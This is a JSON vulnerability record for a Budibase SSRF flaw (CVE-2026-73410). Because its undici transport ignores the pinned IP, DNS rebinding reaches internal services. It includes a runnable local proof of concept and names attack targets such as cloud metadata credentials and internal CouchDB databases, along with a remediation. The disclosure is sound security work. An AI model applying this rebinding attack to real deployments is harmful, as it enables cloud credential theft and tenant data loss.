{"id":"CVE-2026-73410","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-73410","summary":"Budibase: SSRF via DNS rebinding in the REST datasource integration","details":"### Summary\nBudibase's central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding.\n\nThe REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**'s `fetch`. undici does not support the Node `agent` option — it is silently ignored — and instead uses its own `dispatcher`, which re-resolves the hostname's DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase.\n\nAn authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data.\n\n\n### Details\n**The guard pins the validated IP via a Node agent** — `packages/backend-core/src/utils/outboundFetch.ts`:\n\n- `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39–53).\n- `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55–68).\n- `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop.\n\n**The REST integration overrides the transport with undici, which ignores `agent`** — `packages/server/src/integrations/rest.ts`:\n\n- `fetch` is imported from **`undici`** (top-of-file import block, ~line 30).\n- The request is made by overriding `fetchFn` (lines ~767–793):\n  ```ts\n  const setDispatcher = (requestInput, requestUrl) => ({\n    ...requestInput,\n    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),\n  })\n  ...\n  response = await coreUtils.fetchWithBlacklist(url, input, {\n    fetchFn: async (requestUrl, requestInput) =>\n      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch\n  })\n  ```\n  The options object reaching `undici.fetch` is `{ ...nextRequest, agent: <pinned Node Agent>, dispatcher: <getDispatcher result> }`. **undici uses `dispatcher` and ignores `agent`.**\n\n**The dispatcher does no IP pinning** — `packages/backend-core/src/utils/fetch.ts`:\n\n- `getDispatcher` → `createDispatcher` → (no proxy env) → `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109–114, ~161–172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname's DNS itself at connect time.\n\n**Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close.\n\n**Scope of impact / why it's REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract's `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind).\n\n### PoC\nThe PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim — sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+.\n\n```bash\n# prerequisite: a Budibase checkout; set BB to its path\nexport BB=/path/to/budibase\nmkdir ssrf-poc && cd ssrf-poc\nSRC=\"$BB/packages/backend-core/src\"\n\n# 1) Copy the REAL guard code, verbatim (sha proves no edits)\nmkdir -p real/utils real/blacklist\ncp \"$SRC/utils/outboundFetch.ts\" real/utils/\ncp \"$SRC/utils/fetch.ts\"         real/utils/\n\n# 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP\ncat > real/blacklist/index.ts <<'EOF'\nconst SAFE = \"203.0.113.10\" // RFC5737 TEST-NET-3, not blacklisted -> validation passes\nexport async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] }\nexport async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE }\nEOF\n\n# 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern\ncat > entry.ts <<'EOF'\nimport http from \"http\"\nimport { fetch as undiciFetch } from \"undici\"\nimport { fetchWithBlacklist } from \"./real/utils/outboundFetch\" // REAL guard\nimport { getDispatcher } from \"./real/utils/fetch\"              // REAL dispatcher\nasync function main() {\n  const server = http.createServer((_q, r) => r.end(\"INTERNAL_SECRET_RESPONSE\"))\n  await new Promise<void>(r => server.listen(0, \"127.0.0.1\", r))\n  const port = (server.address() as any).port\n  const target = `http://localhost:${port}/` // OS resolves localhost -> 127.0.0.1 at connect\n  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -> 203.0.113.10 (safe), pins to it`)\n\n  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).\n  const restFetchFn = (u: string, i: any) =>\n    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any\n  let A: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { A = `ERROR ${e.message}` }\n  console.log(\"(A) REST/undici path  ->\", A)\n\n  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.\n  let B: string\n  try { const r: any = await fetchWithBlacklist(target, { method: \"GET\", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }\n  catch (e: any) { B = `ERROR ${e.message}` }\n  console.log(\"(B) node-fetch path   ->\", B)\n\n  const bypass = A.includes(\"INTERNAL_SECRET_RESPONSE\"), contained = !B.includes(\"INTERNAL_SECRET_RESPONSE\")\n  console.log(`\\nRESULT: ${bypass && contained ? \"PASS - undici path BYPASSES guard, node-fetch path CONTAINED\" : \"FAIL\"}`)\n  server.close(); process.exit(bypass && contained ? 0 : 1)\n}\nmain()\nEOF\n\n# 4) Deps, bundle, run\nnpm init -y >/dev/null 2>&1\nnpm install undici@6 node-fetch@2 esbuild\nnpx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs\nnode entry.cjs\n```\n\n**Expected output** (the port is the only variable):\n\n```\n[*] internal service 127.0.0.1:<random>; guard validates host -> 203.0.113.10 (safe), pins to it\n(A) REST/undici path  -> status 200 body=INTERNAL_SECRET_RESPONSE\n(B) node-fetch path   -> ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:<random>/\n\nRESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED\n```\n\n**How to read it:**\n- **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` — the internal service responded → **SSRF bypass**.\n- **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `\"Failed to connect to resolved IP for localhost\"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport.\n\n**Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker.\n\n### Impact\n**Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body).\n\n**Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it.\n\n**Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server:\n- read cloud metadata (`http://169.254.169.254/...`) → steal IAM credentials → **cloud account compromise**;\n- read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) → **all tenants' apps, users, and secrets**;\n- using `PUT`/`POST`/`DELETE` against unauthenticated localhost services → create admin documents, modify or **delete** tenant databases / flush caches → integrity and availability loss for all co-tenants.\n\n### CVSS 3.1 Vector Justification\n\n| Metric | Value | Why |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | Triggered through Budibase's HTTP API / app (a REST datasource query). |\n| Attack Complexity (AC) | High (H) | Requires DNS rebinding — the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. |\n| Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). |\n| User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. |\n| Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). |\n| Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant's apps, users, secrets). |\n| Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) → create admin docs, modify tenant data. |\n| Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis → full data/service loss for all tenants. |\n\n**Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation  is `I:N/A:N`.\n\n### Suggested remediation\n\nMake the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.","published":"2026-07-24T21:44:27Z","modified":"2026-08-12T19:30:12.192622211Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@budibase/server","fixedVersion":null}],"fix":{"url":"https://github.com/Budibase/budibase/pull/19178","label":"Budibase/budibase#19178"},"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-v42f-v8xc-j435"},{"type":"WEB","url":"https://github.com/Budibase/budibase/pull/19178"},{"type":"WEB","url":"https://github.com/Budibase/budibase/commit/1fecb3fc3497e8db7b60b42cc514ce304ffe3a41"},{"type":"WEB","url":"https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3"},{"type":"WEB","url":"https://github.com/Budibase/budibase/commit/586802b5706367520d14245e18a7d0cabab0be11"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"},{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/3.39.30"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T19:30:12.192622211Z"}}